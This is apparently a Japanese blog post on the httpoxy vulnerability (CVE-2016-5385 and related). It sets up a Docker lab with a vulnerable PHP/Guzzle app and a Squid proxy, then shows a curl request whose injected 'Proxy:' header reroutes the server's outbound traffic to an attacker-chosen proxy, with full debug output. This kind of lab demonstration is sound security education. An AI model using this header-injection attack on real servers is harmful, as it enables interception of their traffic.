httpoxy 脆弱性について調べてみた内容を記載します。間違いがあったら指摘ウェルカムです。
httpoxy とは
httpoxy (http「r」oxy ではありません!) は中間者攻撃の可能性を残してしまう脆弱性です。以下の CVE が割り当てられています。
- CVE-2016-5385: PHP
- CVE-2016-5386: Go
- CVE-2016-5387: Apache HTTP Server
- CVE-2016-5388: Apache Tomcat
- CVE-2016-1000109: HHVM
- CVE-2016-1000110: Python
攻撃内容
httpoxy は以下のように攻撃が行われます。
- クライアントからサーバへ Proxy ヘッダを付与した HTTP リクエストを送信する
- HTTP リクエストを受信したサーバが Proxy ヘッダの内容を HTTP_PROXY 環境変数にセットする
- HTTP_PROXY の値を参照し、Proxy サーバの必要性を判断するライブラリがあると、通信内容がその Proxy サーバへ誘導されてしまう
有名どころでは PHP から HTTP 通信を行うライブラリである Guzzle は上記の脆弱性があったようです (6.2.0 までは脆弱で、6.2.1 以降は修正されているようです)。
検証環境を用意する
手間をかけずに検証を行う為、環境は Docker で作ります。
Docker で Web サーバを起動する
Docker で Web サーバを起動します。
docker run -d -it -p 80:80 --name httpoxy-poc sig9/php-fpm-httpoxy-poc
サーバ側では以下の PHP コードを動作させます。アクセスされると Guzzle で http://ifconfig.co へアクセスし、自身のグローバルアドレスを取得してクライアントへ返送します。
<?php echo "\n##### HTTP_PROXY Env #####\n"; var_dump($_SERVER['HTTP_PROXY']); putenv('HTTP_PROXY='); var_dump(getenv('HTTP_PROXY')); echo "\n\n##### HTTP Access to http://ifconfig.co #####\n"; require 'vendor/autoload.php'; $client = new \GuzzleHttp\Client(); $response = $client->request('GET', 'http://ifconfig.co', ['debug' => true, 'headers' => ['User-Agent' => 'curl/7.43.0']]); echo "\n\n##### Response body #####\n"; echo $response->getBody(); ?>
Docker で Proxy サーバを起動する
Web サーバ同様に、Proxy サーバも Docker で起動します。
docker run -d -it -p 3128:3128 --name squid sameersbn/squid
Proxy ヘッダ無しリクエストを送信する
クライアントからサーバ (10.100.4.211) へ、Proxy ヘッダー無しの HTTP リクエストを投げてみます。
curl "http://10.100.4.211/" ##### HTTP_PROXY Env ##### NULL string(0) "" ##### HTTP Access to http://ifconfig.co ##### * Rebuilt URL to: http://ifconfig.co/ * Hostname was NOT found in DNS cache * Trying 188.113.88.xxx... * Trying 2001:16d8:ee03::cafe:xxxx... * Immediate connect fail for 2001:16d8:ee03::cafe:xxxx: Network is unreachable * Connected to ifconfig.co (188.113.88.xxx) port 80 (#0) > GET / HTTP/1.1 Host: ifconfig.co User-Agent: curl/7.43.0 < HTTP/1.1 200 OK * Server nginx is not blacklisted < Server: nginx < Date: Sat, 23 Jul 2016 08:29:33 GMT < Content-Type: text/plain; charset=utf-8 < Content-Length: 13 < Connection: keep-alive < Strict-Transport-Security: max-age=31536000; preload < * Connection #0 to host ifconfig.co left intact ##### Response body ##### 211.xxx.xxx.xxx
「Trying 188.113.88.193...」と直接、ifconfig.co (188.113.88.xxx) に接続していることが分かります。通信の流れを図示すると以下の通りです。
Proxy ヘッダ有りリクエストを送信する(攻撃してみる)
次も先ほど同様、サーバ (10.100.4.211) へ HTTP リクエストを送信しますが、今度は「Proxy: 10.100.4.221:3128」というヘッダーを付与しています。
> curl -H 'Proxy: 10.100.4.221:3128' "http://10.100.4.211/" master ##### HTTP_PROXY Env ##### string(17) "10.100.4.221:3128" string(17) "10.100.4.221:3128" ##### HTTP Access to http://ifconfig.co ##### * Rebuilt URL to: http://ifconfig.co/ * Hostname was NOT found in DNS cache * Trying 10.100.4.221... * Connected to 10.100.4.221 (10.100.4.221) port 3128 (#0) > GET http://ifconfig.co/ HTTP/1.1 Proxy-Connection: Keep-Alive Host: ifconfig.co User-Agent: curl/7.43.0 < HTTP/1.1 200 OK * Server nginx is not blacklisted < Server: nginx < Date: Sat, 23 Jul 2016 08:26:55 GMT < Content-Type: text/plain; charset=utf-8 < Content-Length: 13 < Strict-Transport-Security: max-age=31536000; preload < X-Cache: MISS from 4f3cddf6e7c0 < X-Cache-Lookup: MISS from 4f3cddf6e7c0:3128 < Via: 1.1 4f3cddf6e7c0 (squid/3.3.8) < Connection: keep-alive < * Connection #0 to host 10.100.4.221 left intact ##### Response body ##### 211.xxx.xxx.xxx
すると、今回は ifconfig.co (188.113.88.xxx) では無く、Proxy サーバ (10.100.4.221 の TCP/3128) へ接続してしまっているのが分かります。悪意のある Proxy ヘッダ付き HTTP リクエストで意図しない Proxy サーバに通信を誘導され、キャプチャされてしまう等といったセキュリティ上の危険があります。通信の流れを図示すると以下の通りです。